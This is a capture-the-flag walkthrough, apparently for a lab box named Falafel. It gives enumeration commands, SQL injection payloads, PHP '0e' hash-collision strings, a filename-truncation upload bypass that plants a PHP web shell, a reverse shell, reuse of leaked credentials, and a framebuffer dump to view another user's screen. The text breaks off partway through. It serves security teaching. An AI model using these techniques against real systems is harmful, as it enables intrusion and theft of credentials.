falafel

nmap

nmap shows standard ports
22 running OpenSSH 7.2p2
and 80 running Apache 2.4.18

http

gobuster

we'll use gobuster next to see what type of directories are on the webserver
gobuster dir -u 10.10.10.73 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
images/1807-1.png

sqlmap

sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" -r request.txt --level=5 =p username -risk=3 --string="Wrong identification"
images/1809-2.png

wfuzz

wfuzz -c -z file,names.txt --sc 200 -d "username=FUZZ&password=test" http://10.10.10.73/login.php

we get false positives for active usernames because our wfuzz query returns all server responses with a status code of 200 (which every attempt gets regardless of whether or not the user exists)
images/1812-1.png

wfuzz -hw 657

setting the status code to 200 does not affect wfuzz's results, we can hide the server response words that are different than 657 with -hw 657 so we get responses of users that exist

wfuzz -c -z file,names.txt --hw 657 -d "username=FUZZ&password=test" http://10.10.10.73/login.php
images/1814-1.png

we see our users are admin and chris! (their word count is 659)

crackstation

username=admin'

standard sql query looks like

select * from users where username = ‘admin’ and password = ‘admin’

however by injecting an extra single quote trailing username=admin' creates and unequal amount of quotes and allows us to comment out the rest of the statement with “-- -” which turns our original sql query valid:

select * from users where username = ‘admin’' -- -

images/1815-1.png

* is a wildcard regularly, but it is not a wildcard in sql
admin' and password like ‘*’ -- -
images/1815-3.png

is an invalid statement images/1815-4.png

% is a wildcard in SQL
admin' and password like ‘%’-- -

images/1815-5.png

is valid!

we can use boolean logic to guess each character (0-9 and a-f) in each position (32 bit hash) to figure out admins password through brute forcing, here is an example of checking admin's first character in his password to see if it is True:
images/1815-7.png

and if it is false:
images/1815-9.png

exploit.py

we can write a script to run a nested for loop on characters 0-9A-F to check all 32 positions of the admin password hash to check for positive server responses (length 7393) and have our program print the string out

images/1813-1.png

php variable juggling

as chris' password hints at, the next step to look for is the fact that php is loosely typed, so it does not require you to declare a variable type when declaring a variable

php variable juggling

the admin password starts with the string “0e”
images/1817-1.png

google php 0e hash collision

because php treats any string that begins with 0e as a floating integer exponential equation (0e -> 10^x) we can look up md5 hashes that collide/also start with 0e

any of these 3 passwords will work for admin's login
240610708
QNKCDZO
aabg7XSs

upload.php

test.png

+

its a bit hard to see but the cmd shows:
CMD: cd /var/www/html/uploads/0826-0440_d2913bf469e45e66; wget 'http://10.10.14.62/test.png'

images/1821-4.png

send php rev shell with magic bytes

lets try sending a cmd.php script that will run system command to the back end and give it magic bytes so the upload feature thinks its a picture:

images/1822-1.png

however, navigating to the destination gives us an error
images/1822-5.png

linux filename character limit

as admin's profile quote says, “know your limits", this is a subtle hint to which we need to abuse the character limit of the webserver's upload function images/1823-1.png

to upload a picture as a png file 3 characters too large for the server to accept, so when the server trims the filename down, it will cut off the .png file extension off of our malicious php file, which we will account to end with .php

in short our malcious php code file will look like this: “A”*234.php.png

images/1823-2.png

cmd execution

reverse shell

now that we have remote code execution, time to put it to use calling a shell back to our attack machine pen test monkey:
images/1825-1.png

we'll set the reverse shell to our cmd parameter and URL encode it with CTRL-U
images/1825-2.png

after URL-encoding it:
images/1825-3.png

privesc to moshe

looking at our webserver directory /var/www/html:
images/1826-1.png

connection.php

falafelIsReallyTasty

priv esc with leaked creds

ssh'ing into moshe with password falafelIsReallyTasty logs us in

images/1828-1.png

priv esc to yossi

from earlier we issued the ‘w’ command in www-data's terminal and saw yossi was physically connected to the box (tty1)
images/1830-1.png

being a part of the video group signifies the user is about to read the monitor output
we may be able to look at yossi's monitor screen

fb0

we can dump yossi's monitor with fb0 in the /dev directory

images/1831-1.png

funning file on fb.raw we see that it is a Targa image
images/1831-2.png

pnmtopng

in order to dump yoshi's monitor and view it, there's a few things we need to do first

1) download pnmtopng images/1833-1.png

2) Grab the width and the height of the monitor we need to dump, the variables are located in the /sys/class/graphics/fb0/virtual_size file images/1833-2.png